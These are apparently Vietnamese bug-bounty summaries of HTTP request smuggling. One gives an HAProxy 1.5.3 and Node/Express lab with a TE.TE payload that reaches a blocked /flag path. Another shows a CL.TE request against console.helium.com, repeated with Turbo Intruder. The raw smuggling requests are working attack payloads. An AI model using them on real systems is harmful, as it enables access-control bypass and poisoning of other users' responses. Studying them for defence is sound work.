Potential HTTP Request Smuggling in Node.js http-request-smuggling
Node.js cho phép sử dụng các header có cùng tên trong HTTP request và nó chỉ sử dụng header đầu tiên. Điều này có thể dẫn đến lỗ hổng HTTP Request Smuggling.
Tác giả reproduce bằng cách dựng HA Proxy version 1.5.3 (vulnerable) sử dụng config sau nhằm cấm việc truy cập đến path /flag:
global
daemon
maxconn 256
defaults
mode http
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms
frontend http-in
bind *:80
default_backend servers
acl url_403 path_beg -i /flag
http-request deny if url_403
backend servers
server server1 127.0.0.1:8080 maxconn 32Backend server (node.js + express.js):
var express = require("express")
var app = express()
var bodyParser = require("body-parser")
app.use(bodyParser())
app.get("/", function (req, res) {
res.send("Hello World!")
})
app.get("/flag", function (req, res) {
res.send("flag is 1a2b3c4d5e6f")
})
app.post("/", function (req, res) {
res.send("Hello World!")
})
app.listen(8080, function () {
console.log("Example app listening on port 8080!")
})Để tấn công, attacker sẽ dùng request sau để thực hiện tấn công TE.TE Behavior Obfuscating the TE Header:
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked-false
1
A
0
GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x
HA Proxy sẽ forward toàn bộ request đến node.js server do nó sử dụng header Transfer-Encoding: chunked-false. Khi node.js server nhận được request thì nó sẽ sử dụng header Transfer-Encoding: chunked và chỉ đọc đến chunk size 0 rồi nghĩ rằng toàn bộ phần còn lại tính từ GET /flag HTTP/1.1 là của một request khác. Điều này dẫn đến việc HA proxy không thể phát hiện được unauthorized access đến /flag và node.js server vẫn accept request.
Theo RFC 7230, nếu receiver nhận được nhiều header cùng tên thì nó sẽ combiner lại bằng cách join các giá trị của các header cùng tên lại, cách nhau bởi dấu phẩy.
Cite
A recipient MAY combine multiple header fields with the same field name into one “field-name: field-value” pair, without changing the semantics of the message, by appending each subsequent field value to the combined field value in order, separated by a comma. The order in which header fields with the same field name are received is therefore significant to the interpretation of the combined field value; a proxy MUST NOT change the order of these field values when forwarding a message.
Điều này có nghĩa là header Transfer-Encoding: chunked-false, chunked vẫn là hợp lệ.
Tuy nhiên, việc sử dụng Transfer-Encoding: chunked-false, chunked hay Transfer-Encoding: chunked, chunked-false đều không gây ra lỗ hổng.
HTTP Request Smuggling http-request-smuggling
Attacker tìm thấy lỗ hổng HTTP Request Smuggling (biến thể CL.TE) ở domain console.helium.com thông qua request sau:
POST /api/sessions HTTP/1.1
Host: console.helium.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://console.helium.com/login
Content-Type: application/json
Content-Length: 109
DNT: 1
Connection: close
Cookie: __cfduid=dc0212a0b1dcc0fe5853ef4e6b6d669ff1588840067; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6ImJmZDVjNzFmLWVhMWUtNDlmZi1hZGYyLTNlYWY3OTBjNmU3YlIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTU4ODg0MDA3NzA2MiwibGFzdEV2ZW50VGltZSI6MTU4ODg0MTg5MDk3NiwiZXZlbnRJZCI6NywiaWRlbnRpZnlJZCI6Miwic2VxdWVuY2VOdW1iZXIiOjl9
Transfer-Encoding: chunked
39
{"session":{"email":"fdsfsd@fgd.jk","password":"sdfsdf"}}
00
GET / HTTP/1.1
Host: www.helium.com
foo: x
Bằng cách gửi request này 2 lần, response của lần thứ 2 sẽ là response đến www.helium.com.

Trong ảnh trên, attacker sử dụng Turbo Intruder để gửi request nhiều lần. Ta thấy rằng các response với status code là 401 và 200 xuất hiện xen kẽ nhau. e